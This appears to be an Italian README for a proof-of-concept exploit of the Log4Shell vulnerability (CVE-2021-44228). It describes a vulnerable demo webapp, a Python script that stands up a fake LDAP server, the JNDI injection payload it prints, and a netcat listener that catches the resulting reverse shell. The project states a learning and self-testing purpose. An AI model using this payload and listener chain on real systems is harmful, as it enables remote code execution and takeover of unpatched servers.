
Una prova di concetto per la vulnerabilità CVE-2021-44228.
Una Proof-Of-Concept per la vulnerabilità CVE-2021-44228 scoperta di recente.
Recentemente è stata scoperta una nuova vulnerabilità in log4j, una libreria di logging java molto utilizzata in prodotti come elasticsearch, minecraft e molti altri.
In questo repository è presente un'applicazione vulnerabile di esempio e un exploit proof-of-concept (POC) della stessa.
Come PoC è presente un file python che automatizza il processo.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 e trovarsi nella stessa directory.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Questo script configurerà per te il server HTTP e il server LDAP, e creerà anche il payload che potrai incollare nel parametro vulnerabile. Dopo di che, se tutto è andato bene, dovresti ottenere una shell sulla porta specificata (lport).
È presente un Dockerfile con la webapp vulnerabile. Puoi usarlo seguendo i passaggi seguenti:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Una volta in esecuzione, puoi accedervi su localhost:8080
Oracle, per fortuna, fornisce un archivio per tutte le versioni precedenti di java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Scorri verso il basso fino a 8u20 e scarica i file appropriati per il tuo sistema operativo e hardware.

Nota: È necessario creare un account per poter scaricare il pacchetto.
Una volta scaricato ed estratto l'archivio, puoi trovare java e alcuni binari correlati in jdk1.8.0_20/bin.
Nota: Assicurati di estrarre la cartella jdk in questo repository con lo stesso nome affinché funzioni.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Questo repository non è inteso come un exploit one-click per CVE-2021-44228. Lo scopo di questo progetto è aiutare le persone a conoscere questa vulnerabilità e, forse, testare le proprie applicazioni (tuttavia esistono applicazioni migliori per questo scopo, ad esempio: https://log4shell.tools/).